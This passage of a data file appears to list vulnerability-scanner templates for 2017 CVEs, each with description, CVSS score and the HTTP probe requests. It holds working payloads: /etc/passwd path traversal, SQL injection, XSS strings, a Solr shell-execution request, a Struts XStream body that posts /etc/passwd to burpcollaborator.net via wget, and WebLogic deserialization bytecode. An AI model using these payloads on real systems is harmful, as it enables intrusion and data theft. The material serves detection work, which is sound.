cpe:2.3:a:jqueryfiletree project:jqueryfiletree", "[{'method': 'POST', 'matchers': [{'words': [\"
\", \"passwd
\"], 'condition': 'and', 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php'], 'matchers-condition': 'and', 'body': 'dir=%2Fetc%2F&onlyFiles=true'}]"], ["CVE-2017-18527", "The pagination plugin before 1.0.7 for WordPress has multiple XSS issues.\n", 2082, [], 6.1, " cpe:2.3:a:bestwebsoft:pagination", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Pagination by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/pagination/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-12629", "Apache Solr <= 7.1 Remote Code Execution via SSRF", 53, [], 9.8, " cpe:2.3:a:apache:solr:5.5.0", "[{'matchers': [{'words': ['dns'], 'type': 'word', 'part': 'interactsh_protocol'}], 'raw': ['GET /solr/select?qt=%2Fconfig%2523%26&shards=127.0.0.1:8984/solq&stream.body=%7B%22add-listener%22%3A%7B%22event%22%3A%22postCommit%22%2C%22name%22%3A%22nuclei%22%2C%22class%22%3A%22solr.RunExecutableListener%22%2C%22exe%22%3A%22sh%22%2C%22dir%22%3A%22%2Fbin%2F%22%2C%22args%22%3A%5B%22-c%22%2C%22%24%40%7Csh%22%2C%22.%22%2C%22echo%22%2C%22nslookup%22%2C%22%24%28whoami%29.{{interactsh-url}}%22%5D%7D%7D&wt=json&isShard=true&q=apple HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /solr/select?shards=127.0.0.1:8984/solr/update%23&commit=true HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-17451", "The WP Mailster plugin before 1.5.5 for WordPress has XSS in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.", 435, [], 6.1, " cpe:2.3:a:wpmailster:wp mailster", "[{'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3E%28123%29%3C%2Fscript%3E'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-12138", "XOOPS Core 2.5.8 has a stored URL redirect bypass vulnerability in /modules/profile/index.php because of the URL filter.", 1191, [], 6.1, " cpe:2.3:a:xoops:xoops:2.5.8", "[{'matchers': [{'type': 'regex', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?:\\\\/\\\\/|\\\\/\\\\/|\\\\/\\\\\\\\\\\\\\\\|\\\\/\\\\\\\\)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)attacker\\\\.com\\\\/?(\\\\/|[^.].*)?$'], 'part': 'header'}], 'cookie-reuse': True, 'raw': ['POST /user.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nuname={{username}}&pass={{password}}&xoops_redirect=%2Findex.php&op=login\\n', 'GET /modules/profile/index.php?op=main&xoops_redirect=https:www.attacker.com HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-8917", "SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers to execute arbitrary SQL commands via unspecified vectors.", 30, [], 9.8, " cpe:2.3:a:joomla:joomla :3.7.0", "[{'matchers': [{'words': ['cf79ae6addba60ad018347359bd144d2'], 'type': 'word', 'part': 'body'}], 'method': 'GET', 'path': ['{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)']}]"], ["CVE-2017-7855", "IceWarp WebMail 11.3.1.5 is vulnerable to cross-site scripting via the language parameter.\n", 2083, [], 6.1, " cpe:2.3:a:icewarp:server:11.3.1.5", "[{'method': 'GET', 'path': ['{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3D(document.domain)%3E'], 'matchers-condition': 'and', 'matchers': [{'words': ['lang=\"\">', 'IceWarp'], 'type': 'word', 'condition': 'and', 'case-insensitive': True, 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-15715", "In Apache httpd 2.4.0 to 2.4.29, the expression specified in could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are are externally blocked, but only by matching the trailing portion of the filename.", 34, [], 8.1, " cpe:2.3:a:apache:http server", "[{'matchers': [{'type': 'dsl', 'dsl': ['contains(body_2, \"{{randstr_1}}\")']}], 'raw': ['POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Length: 264\\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ\\nAccept-Encoding: gzip, deflate\\nConnection: close\\n\\n------WebKitFormBoundaryKc8fBVDo558U4hbJ\\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\\n\\n{{randstr_1}}\\n\\n------WebKitFormBoundaryKc8fBVDo558U4hbJ\\nContent-Disposition: form-data; name=\"name\"\\n\\n{{randstr}}.php\\\\x0A\\n------WebKitFormBoundaryKc8fBVDo558U4hbJ--\\n', 'GET /{{randstr}}.php\\\\x0A HTTP/1.1\\nHost: {{Hostname}}\\nAccept-Encoding: gzip,deflate\\nAccept: */*\\nAccept-Language: en\\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\\nConnection: close\\n'], 'req-condition': True}]"], ["CVE-2017-18542", "The zendesk-help-center plugin before 1.0.5 for WordPress has multiple XSS issues.\n", 2058, [], 6.1, " cpe:2.3:a:bestwebsoft:zendesk help center", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Zendesk Help Center by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/zendesk-help-center/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-11629", "dayrui FineCms through 5.0.10 has Cross Site Scripting (XSS) in controllers/api.php via the function parameter in a c=api&m=data2 request.\n", 1378, [], 6.1, " cpe:2.3:a:finecms:finecms", "[{'path': ['{{BaseURL}}/index.php?c=api&m=data2&function=%3Cscript%3E(document.domain)%3C/script%3Ep&format=php'], 'method': 'GET', 'matchers': [{'words': ['p\u4e0d\u5b58\u5728'], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and'}]"], ["CVE-2017-9805", "The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.", 42, [], 8.1, " cpe:2.3:a:apache:struts:2.1.2", "[{'matchers': [{'words': ['Debugging information', 'com.thoughtworks.xstream.converters.collections.MapConverter'], 'condition': 'and', 'type': 'word'}, {'type': 'status', 'status': [500]}], 'headers': {'Content-Type': 'application/xml'}, 'body': '\\n \\n \\n 0\\n \\n \\n \\n \\n \\n false\\n 0\\n \\n \\n \\n \\n \\n wget\\n --post-file\\n /etc/passwd\\n burpcollaborator.net\\n \\n false\\n \\n \\n \\n \\n java.lang.ProcessBuilder\\n start\\n \\n \\n asdasd\\n \\n asdasd\\n \\n \\n \\n \\n \\n false\\n 0\\n 0\\n false\\n \\n false\\n \\n \\n \\n 0\\n \\n \\n \\n \\n \\n \\n \\n \\n\\n', 'path': ['{{BaseURL}}/struts2-rest-showcase/orders/3', '{{BaseURL}}/orders/3'], 'matchers-condition': 'and', 'method': 'POST'}]"], ["CVE-2017-5868", "CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via \"%0A\" characters in the PATH_INFO to __session_start__/.\n", 2762, [], 6.1, " cpe:2.3:a:openvpn:openvpn access server:2.1.4", "[{'method': 'GET', 'path': ['{{BaseURL}}/__session_start__/%0aSet-Cookie:%20crlfinjection=1;'], 'matchers-condition': 'and', 'matchers': [{'part': 'header', 'regex': ['^Set-Cookie: crlfinjection=1;'], 'type': 'regex'}, {'status': [302], 'type': 'status'}]}]"], ["CVE-2017-1000486", "Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution", 324, [], 9.8, " cpe:2.3:a:primetek:primefaces", "[{'matchers': [{'type': 'word', 'part': 'header', 'words': ['Mogwailabs: CHECKCHECK']}], 'raw': ['POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1\\nHost: {{Hostname}}\\nConnection: close\\nContent-Length: 160\\nAccept: */*\\nAccept-Language: en\\nContent-Type: application/x-www-form-urlencoded\\nAccept-Encoding: gzip, deflate\\n\\npfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D\\n']}]"], ["CVE-2017-5871", "An Open Redirect vulnerability in Odoo versions <= 8.0-20160726 and 9.0. This issue allows an attacker to redirect users to untrusted sites via a crafted URL.\n", 2693, [], 5.4, " cpe:2.3:a:odoo:odoo:8.0", "[{'path': ['{{BaseURL}}/web/session/logout?redirect=https://oast.me', '{{BaseURL}}/web/session/logout?redirect=https%3a%2f%2foast.me%2f', '{{BaseURL}}/web/dbredirect?redirect=https%3a%2f%2foast.me%2f'], 'method': 'GET', 'matchers': [{'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)oast\\\\.me.*$'], 'type': 'regex', 'part': 'header'}], 'stop-at-first-match': True}]"], ["CVE-2017-5631", "An issue was discovered in KMCIS CaseAware. Reflected cross site scripting is present in the user parameter (i.e., \"usr\") that is transmitted in the login.php query string.", 1112, [], 6.1, " cpe:2.3:a:kmc information systems:caseaware:-", "[{'matchers-condition': 'and', 'path': ['{{BaseURL}}/login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers': [{'part': 'body', 'type': 'word', 'words': [\"'>\"]}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'status': [200], 'type': 'status'}], 'method': 'GET'}]"], ["CVE-2017-18532", "The realty plugin before 1.1.0 for WordPress has multiple XSS issues.\n", 2078, [], 6.1, " cpe:2.3:a:bestwebsoft:realty", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Realty by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/realty/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-17043", "The Emag Marketplace Connector plugin 1.0.0 for WordPress has reflected XSS because the parameter \"post\" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly.", 436, [], 6.1, " cpe:2.3:a:zitec:emag marketplace connector:1.0.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php?post=%22%2F%3E%3Cscript%3E%28123%29%3C%2Fscript%3E'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-18558", "The bws-testimonials plugin before 0.1.9 for WordPress has multiple XSS issues.\n", 2074, [], 6.1, " cpe:2.3:a:bestwebsoft:testimonials", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Testimonials by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/bws-testimonials/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-14622", "WordPress 2kb Amazon Affiliates Store plugin before 2.1.1 contains multiple cross-site scripting vulnerabilities. The plugin allows an attacker to inject arbitrary web script or HTML via the (1) page parameter or (2) kbAction parameter in the kbAmz page to wp-admin/admin.php, thus making possible theft of cookie-based authentication credentials and launch of other attacks.\n", 1578, [], 6.1, " cpe:2.3:a:2kblater:2kb amazon affiliates store", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 500', 'contains(content_type_2, \"text/html\")', 'contains(body_2, \"\")', 'contains(body_2, \"2kb-amazon-affiliates-store\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=kbAmz&kbAction=demo%22%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E HTTP/1.1\\nHost: {{Hostname}}\\n'], 'redirects': True, 'cookie-reuse': True}]"], ["CVE-2017-18502", "The subscriber plugin before 1.3.5 for WordPress has multiple XSS issues.\n", 2064, [], 6.1, " cpe:2.3:a:bestwebsoft:subscriber", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Subscriber by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/subscriber/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-16877", "ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.", 49, [], 7.5, " cpe:2.3:a:zeit:next.js", "[{'method': 'GET', 'matchers': [{'condition': 'and', 'type': 'regex', 'regex': ['root:[x*]:0:0'], 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/_next/../../../../../../../../../../etc/passwd']}]"], ["CVE-2017-14186", "Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.\n", 1542, [], 5.4, " cpe:2.3:o:fortinet:fortios", "[{'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/remote/loginredir?redir=javascript:(document.domain)'], 'matchers': [{'part': 'body', 'type': 'word', 'words': ['location=decodeURIComponent(\"javascript%3A%28document.domain%29\"']}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2017-18494", "The custom-search-plugin plugin before 1.36 for WordPress has multiple XSS issues.\n", 2076, [], 6.1, " cpe:2.3:a:bestwebsoft:custom search", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Custom Search by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/custom-search-plugin/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-7925", "A Password in Configuration File issue was discovered in Dahua DH-IPC-HDBW23A0RN-ZS, DH-IPC-HDBW13A0SN, DH-IPC-HDW1XXX, DH-IPC-HDW2XXX, DH-IPC-HDW4XXX, DH-IPC-HFW1XXX, DH-IPC-HFW2XXX, DH-IPC-HFW4XXX, DH-SD6CXX, DH-NVR1XXX, DH-HCVR4XXX, DH-HCVR5XXX, DHI-HCVR51A04HE-S3, DHI-HCVR51A08HE-S3, and DHI-HCVR58A32S-S2 devices. The password in configuration file vulnerability was identified, which could lead to a malicious user assuming the identity of a privileged user and gaining access to sensitive information.\n", 1959, [], 9.8, " cpe:2.3:o:dahuasecurity:dh-ipc-hdbw23a0rn-zs firmware:-", "[{'method': 'GET', 'path': ['{{BaseURL}}/current_config/passwd'], 'extractors': [{'regex': ['1:(.*:.*):1:CtrPanel'], 'type': 'regex', 'group': 1}], 'matchers': [{'dsl': ['contains(to_lower(body), \"ugm\")', 'contains(to_lower(body), \"id:name:passwd\")', 'status_code == 200'], 'type': 'dsl', 'condition': 'and'}]}]"], ["CVE-2017-7269", "RCE - Buffer overflow in ScStoragePathFromUrl function (WebDAV service - IIS 6.0) - Windows Server 2003 R2", 32, [], 9.8, " cpe:2.3:a:microsoft:internet information server:6.0", "[{'method': 'OPTIONS', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['IIS/6.0'], 'type': 'word', 'part': 'header'}, {'condition': 'or', 'type': 'dsl', 'dsl': ['regex(\"\", dasl)', 'regex(\"[\\\\d]+(,\\\\s+[\\\\d]+)?\", dav)', 'regex(\".*?PROPFIND\", public)', 'regex(\".*?PROPFIND\", allow)'], 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}']}]"], ["CVE-2017-10271", "Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.", 52, [], 7.5, " cpe:2.3:a:oracle:weblogic server:10.3.6.0.0", "[{'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0'], 'part': 'body'}], 'raw': ['POST /wls-wsat/CoordinatorPortType HTTP/1.1\\nHost: {{Hostname}}\\nAccept: */*\\nAccept-Language: en\\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\\nConnection: close\\nContent-Type: text/xml\\nContent-Length: 5178\\n\\n\\n\\n \\n \\n \\n \\n 0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034\\n \\n \\n \\n com.supeream.exploits.XmlExp\\n \\n \\n \\n cat /etc/passwd\\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n\\n']}]"], ["CVE-2017-18556", "The bws-google-analytics plugin before 1.7.1 for WordPress has multiple XSS issues.\n", 2066, [], 6.1, " cpe:2.3:a:bestwebsoft:google analytics", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Google Analytics by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/bws-google-analytics/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18562", "The error-log-viewer plugin before 1.0.6 for WordPress has multiple XSS issues.\n", 2065, [], 6.1, " cpe:2.3:a:bestwebsoft:error log viewer", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Error Log Viewer by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/error-log-viewer/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-1000029", "Oracle, GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to Local File Inclusion vulnerability, that makes it possible to include arbitrary files on the server, this vulnerability can be exploited without any prior authentication.", 1097, [], 7.5, " cpe:2.3:a:oracle:glassfish server:3.0.1", "[{'matchers-condition': 'and', 'path': ['{{BaseURL}}/resource/file%3a///etc/passwd/'], 'method': 'GET', 'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0:']}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2017-18024", "AvantFAX 3.3.3 has XSS via an arbitrary parameter name to the default URI, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.\n", 573, [], 6.1, " cpe:2.3:a:avantfax:avantfax:3.3.3", "[{'matchers': [{'type': 'word', 'words': ['', 'AvantFAX'], 'part': 'body', 'condition': 'and'}, {'status': [200], 'type': 'status'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}], 'raw': ['POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nusername=admin&password=admin&_submit_check=1&jlbqgb7g0x=1\\n'], 'matchers-condition': 'and'}]"], ["CVE-2017-11444", "Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.", 26, [], 9.8, " cpe:2.3:a:intelliants:subrion cms", "[{'method': 'GET', 'matchers': [{'words': ['projectdiscovery.io'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1']}]"], ["CVE-2017-15944", "PreAuth RCE on Palo Alto GlobalProtect", 353, [], 9.8, " cpe:2.3:o:paloaltonetworks:pan-os", "[{'path': ['{{BaseURL}}/global-protect/portal/css/login.css'], 'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'words': ['Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT'], 'type': 'word', 'part': 'header'}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2017-9833", "The server allows the injection of \"../..\" using the FILECAMERA variable sent by GET to read files with root privileges. Without using access credentials.", 1061, [], 7.5, " cpe:2.3:a:boa:boa:0.94.14.21", "[{'method': 'GET', 'matchers-condition': 'and', 'path': ['{{BaseURL}}/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0'], 'matchers': [{'regex': ['root:[x*]:0:0'], 'type': 'regex'}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2017-18565", "The updater plugin before 1.35 for WordPress has multiple XSS issues.\n", 2073, [], 6.1, " cpe:2.3:a:bestwebsoft:updater", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Updater by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/updater/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18493", "The custom-admin-page plugin before 0.1.2 for WordPress has multiple XSS issues.\n", 2080, [], 6.1, " cpe:2.3:a:bestwebsoft:custom admin page", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, 